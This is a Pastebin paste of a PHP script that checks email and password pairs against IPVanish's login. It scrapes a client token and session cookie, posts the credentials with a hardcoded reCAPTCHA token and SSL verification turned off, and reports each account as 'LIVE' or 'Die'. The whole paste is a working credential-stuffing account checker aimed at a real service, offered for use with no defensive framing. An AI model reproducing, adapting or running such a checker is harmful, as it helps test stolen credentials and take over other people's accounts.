Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- date_default_timezone_set("Asia/Jakarta");
- header('Content-Type: application/json');
- error_reporting(0);
- // require 'includes/class_curl.php';
- $ip = new ip();
- echo $ip->check($_GET['email'], $_GET['pass']);
- class ip{
- public function check($email, $pass){
- $ch = curl_init('https://account.ipvanish.com/login');
- curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept-Encoding: gzip, deflate, br',
- 'Accept-Language: id,en-US;q=0.7,en;q=0.3',
- 'Upgrade-Insecure-Requests: 1',
- 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0',
- 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
- 'Cache-Control: max-age=0',
- 'Connection: keep-alive'));
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0');
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_HEADER, 1);
- $result = curl_exec($ch);
- //echo $result;
- $cuk = file_get_contents('https://account.ipvanish.com/login');
- preg_match('/id="clientToken" value="(.+?)"/', $cuk, $sama);
- ///echo $sama[1];
- preg_match('/PHPSESSID=(.+?);/', $result, $cok);
- //echo $cok[1];
- //var_dump($cok);
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "https://account.ipvanish.com/login/validate");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, "clientToken=$sama[1]&username=$email&password=$pass&g-recaptcha-response=03AOLTBLRoFRCHiIK_BYFk1PeTNMbCzY-iKwFcxrg9tPE8vPFYVv5YH9NYW-AW4RhCL10n-4kURg6ofkdtSA7fNFGvGM0Dt0YBXVhc-JmHo4jjBDhavn8BR3Va05SFm52rtRK-e3QzsuAheOx0rXrwWgmciOLfMSlbtgkdEPZ9F_ZAeNKapcmTTScpzaNzY_PvHQfY4HkziUANouxM3Qn45lUrVH9nTXR448M2Pr6hqJixMX7va0jR2X_UeuqhrSwntTKeZenfkDGyHlS7KunlNPZUej00Qz35tHhg_C5DNnfTrhk1aVlwm3ysYR--yr-6Ulk3HvDCr-u7GVd74b8PJD9YBcgMYgkQnN0lPs12wIYbfKqDsKWw-P8S4iGL_x8iRdzGiatq34Pod7ePeaR24_Jc_IOTggAyCDUJhy8UsN_QiVVT7NXvlTza7NWyoBcIBmtAXrAVsX8KvMVwfhke-aqmz_hG6e4iH5ETKz35Vw0ET2RSqKPt2HX2Qr939AnKy32VXcGIpJ4faa-R-IohfgIHJPb4O5LirA");
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_HEADER, 1);
- curl_setopt($ch, CURLOPT_VERBOSE, 1);
- curl_setopt($ch, CURLOPT_HTTPHEADER, array('Origin: https://account.ipvanish.com',
- 'Accept-Encoding: gzip, deflate, br',
- 'Accept-Language: id,en-US;q=0.7,en;q=0.3',
- 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0',
- 'Content-Type: application/x-www-form-urlencoded',
- 'Accept: application/json, text/plain, */*',
- 'Referer: https://account.ipvanish.com/login',
- 'Cookie: SC_session=117816f36cd7bd8; _ga=GA1.2.1854785752.1577172436; _gid=GA1.2.1261200301.1577172436; _fbp=fb.1.1577172436386.1687532381; PHPSESSID='.$cok[1].'',
- 'Connection: keep-alive'));
- $result = curl_exec($ch);
- //echo $result;
- if(stristr($result, '/login')){
- $hasilcuk['error'] = "2";
- $hasilcuk['msg'] = "Die";
- $hasilcuk['id'] = "$email";
- $hasilcuk['pass'] = "$pass";
- } else {
- $hasilcuk['error'] = "0";
- $hasilcuk['msg'] = "LIVE";
- $hasilcuk['id'] = "$email";
- $hasilcuk['pass'] = "$pass";
- $hasilcuk['info'] = "Email Dan Password yang anda Masukan benar.";
- $hasilcuk['checker'] = "./Miss Queen";
- }
- $output_json = json_encode($hasilcuk);
- return $output_json;
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement